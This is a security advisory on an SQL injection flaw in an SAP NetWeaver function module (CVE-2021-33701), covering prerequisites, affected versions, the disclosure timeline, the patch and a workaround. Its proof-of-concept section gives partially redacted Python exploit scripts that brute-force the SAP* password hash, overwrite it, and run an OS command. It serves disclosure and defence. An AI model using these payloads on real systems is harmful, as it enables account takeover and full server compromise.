

## SAP Netweaver IUUC\_RECON\_RC\_COUNT\_TABLE\_BIG SQL Injection

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SAP Netweaver suffers from a remote ADBC SQL injection vulnerability in IUUC\_RECON\_RC\_COUNT\_TABLE\_BIG. Other software and various versions are also affected.

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title: Remote ADBC SQL Injection in SAP IUUC\_RECON\_RC\_COUNT\_TABLE\_BIG  
product: SAP Netweaver  
vulnerable version: see vulnerable/tested versions section below  
fixed version: see solution section below  
CVE number: CVE-2021-33701  
SAP SNote: 3078312  
impact: Critical  
CVSS 3.1 Score: 9.1  
CVSS 3.1 Vector: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H  
homepage: <https://www.sap.com/>  
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Vendor description:  
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Source: <https://en.wikipedia.org/wiki/SAP>

Business recommendation:  
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SAP® released the patch (SNote 3078312) and SEC Consult advises all SAP® customers to update their systems immediately.

An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues.

Vulnerability overview/description:  
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1. Remote ADBC SQL Injection in SAP IUUC\_RECON\_RC\_COUNT\_TABLE\_BIG (CVE-2021-33701)

The IT\_WHERE\_CLAUSE parameter of the function module IUUC\_RECON\_RC\_COUNT\_TABLE\_BIG is vulnerable to an ADBC SQL Injection. The function is part of the package CNV\_INC\_PROCESSING\_REMOTE inside the function module group IUUC\_REMOTE. It is typically used to count table records in the context of logging table and trigger creations.

ADBC is an API for the Native SQL interface of the AS ABAP that is based on ABAP Objects and can be used to pass Native SQL statements to the database interface. ADBC SQL injections are a very serious type of vulnerability as they allow attackers not only to access data directly at the database layer but also to break out of the current client context. Moreover, stacked queries can be used to perform arbitrary read/write commands. All of this leads to full compromise of the SAP application server.

As the affected function module is remote enabled, it allows attackers to perform remote attacks via RFC.

Note that the vulnerability was originally found by SEC Consult during a research on a system with DMIS in version DMIS 2011\_1\_731 SP 0013. In this version, the same parameter IT\_WHERE\_CLAUSE was vulnerable to an ABAP Command Injection.

The vulnerability seems to have been fixed insufficiently, leaving behind this ADBC SQL Injection. The advisory can be viewed at the following URL:  
<https://sec-consult.com/vulnerability-lab/advisory/remote-abap-code-injection-in-sap-netweaver/>

Attack Prerequisites  
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First prerequisite is the authorization object S\_DMIS (SAP SLO Data migration server) with at least the following settings:

MBT\_PR\_ARE: SAP Landscape Transformation  
MBT\_PR\_LEV: (not needed to be set)  
ACTVT: 03 Display

Note that it is common practice that authorization objects are (mis)configured with wildcards, which increases the likelihood of exploitation of the vulnerability.

Further, authorization to perform function calls (S RFC) has to be granted for remote exploitation or access to SE37 for local privilege escalation

In the majority of cases internal RFC communications are nowadays still found to be unencrypted. This increases the risk that attackers wiretap account passwords. Once such user is hijacked, the attacker has gained all necessary prerequisites for further attacks as described in this advisory.

Proof of concept:  
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Example A: Arbitrary Read

As a proof of concept, a script was created to brute force the password hash of the SAP\* users in client 000 while authenticated to client 001. This also demonstrates the possibility of breaking out of the current client context. For this example, a boolean based Blind SQL attack was used. In order to get the exploitation to work, an arbitrary existing table has to be specified for the parameter I\_TABNAME (in this POC DEMO\_SGR was chosen).

The following excerpt shows the source code of the script:

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.....
#!/usr/bin/env python3
from pyrfc import Connection
from string import ascii_letters

def generate_alphabet():
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    alph = []
    for c in ascii_letters:
        alph.append(c)
    for i in range(0,10):
        alph.append(str(i))
    alph.append(' ')
    alph.append('/')
    alph.append('-')
    return alph

if __name__ == '__main__':
    final_str = ""
    conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client= "001",
                      user= "Peter", passwd="Sap123456", lang='EN')
    alph = generate_alphabet()

    print("Brute Forcing SAP* password hash in client 000 ...")

    for i in range(16, 61):
        toggle = 0
        for c in alph:
            where_clause = "(" + "(" + c +
                            " IN (SELECT SUBSTRING(PWDSALTEDHASH," + str(i) +
                            ",1) FROM USR02 WHERE BNAME='SAP' AND MANDT='000'))"

            [ --- PoC partially removed --- ]

            if(result['ET_COUNT'][0]['RECCNT'] != 0):
                final_str += c
                print("[x-isha, 1024]*" + final_str, end='\n')

        print ("")
    * *****

Running the code produces the following output:

$> poc_iuuc_remote.py
Brute Forcing SAP* password hash in client 000...
[x-isha, 1024]DRM1SNVfWwMaDF7lQiyx+SLO&N3l0nygPjv1BsPgE=

Example B: Arbitrary Write

The next proof of concept demonstrates arbitrary write to the database by using
stacked queries. The following payload inserts the password hash corresponding
to the plaintext passed "Test123" into the SAP* users of all clients and
then authenticates with the user SAP* on the other client 000. Afterwards, the
OS command "ip addr" is executed:

* *****
#!/usr/bin/env python3
from pyrfc import Connection

def read_ABAP_Report():
    with open('X:\test.abap') as file:
        content = file.readlines()
        content = [x.strip() for x in content]
        return content

if __name__ == '__main__':
    final_str = ""
    conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client= "001",
                      user= "Peter", passwd="Sap123456", lang='EN')

    where_clause = (
        "1 = 1 ); UPDATE USR02 SET PWDSALTEDHASH = "
        "'[x-isha, 1024]voJRV7/r3j3lpxfmh/z&BqX&S1CYKSnylMKr/CKE-"
        "WHERE BNAME = 'SAP*'; COMMIT WORK; --")

    [ --- PoC partially removed --- ]

    conn2 = Connection(ashost="XX.XX.XX.XX", sysnr="00", client= "000",
                       user= "SAP*", passwd="Test123", lang='EN')

    inject = ['REPORT Z_TEST123.'
              'DATA(c) = \'ip addr\'.',
              'DATA t TYPE TABLE OF char255.',
              'DATA l(250) TYPE c.',
              'CALL \'SYSTEM\' ID \'COMMAND\' FIELD c ID \'TAB\' FIELD t.',
              'LOOP AT t INTO l.',
              'WRITE: / 1.',
              'ENDLOOP.']

    params = {'PROGRAM':inject}
    result = conn2.call('SAPDS/RFC_ABAP_INSTALL_RUN', **params)
    for x in result['WRITES']:
        print(x['TEXT'])
    * *****

Running the code produces the following output:

$> .\poc_iuuc_remote2.py
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default ql
  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  inet 127.0.0.1/8 scope host lo
    valid_lft forever preferred_lft forever
  inet6 ::1/128 scope host
    valid_lft forever preferred_lft forever
2: enp0a3: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state
DOWN
  link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff
3: enp0a8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state U
P grou
  link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff
  inet XX.XX.XX.XX/24 brd XX.XX.XX.XX.255 scope global noprefixroute enp0a8
    valid_lft forever preferred_lft forever
  inet6 fe80:a00:27ff:fec3:fa40/64 scope link
    valid_lft forever preferred_lft forever

Vulnerable / tested versions:
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This vulnerability has been tested on SAP Netweaver 752 SP-LEVEL 0004
DMIS Release 2011_1_731 SP-Level 0016 SP SAPK-11616INDMIS.

According to the vendor, the following products / versions are affected:
* SAPCORE 125 < SAPK-12502INDSAPSCORE
* S4CORE 105 < SAPK-10503INS4CORE
* S4CORE 104 < SAPK-10405INS4CORE
* S4CORE 103 < SAPK-10307INS4CORE
* S4CORE 102 < SAPK-10209INS4CORE
* S4CORE 101 < SAPK-10111INS4CORE
* S4CORE 100
* DMIS 2018_1_752 < SAPK-20106INDMIS
* DMIS 2020 < SAPK-20202INDMIS
* DMIS 2011_1_700 < SAPK-11321INDMIS
* DMIS 2011_1_710 < SAPK-11421INDMIS
* DMIS 2011_1_730 < SAPK-11521INDMIS
* DMIS 2011_1_731 < SAPK-11621INDMIS
* DMIS 2011_1_620 < SAPK-11121INDMIS
* DMIS 2011_1_640 < SAPK-11221INDMIS

Vendor contact timeline:
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2021-07-08: Contacting SAP Product Security Response Team through Web Portal
https://www.sap.com/about/trust-center/security/incident-management.html
ID SR-21-00009 has been assigned
2021-07-19: Vendor confirms vulnerability
2021-08-10: SNote 3078312 with patch released
2021-11-17: SEC Consult sends final advisory to vendor and informs about release
date
2021-11-18: SAP requests to obfuscate or remove PoC
2021-12-14: Coordinated release of security advisory

Solution:
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SEC Consult advises all SAP® customers to implement SAP Security Note
3078312 immediately. Note that Security Note 3078312 contains no automatic
correction instructions for customers who run systems with DMIS versions or
Support Package levels lower than DMIS 2011 SP10 (2015). Please refer to the
section workaround.

Workaround:
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In lower SP levels, the correction can be applied manually by modifying
function module IUUC_RECON_RC_COUNT_TABLE_BIG adding the following statement
directly after the authorization check:

ASSERT it_where_clause[] IS INITIAL.

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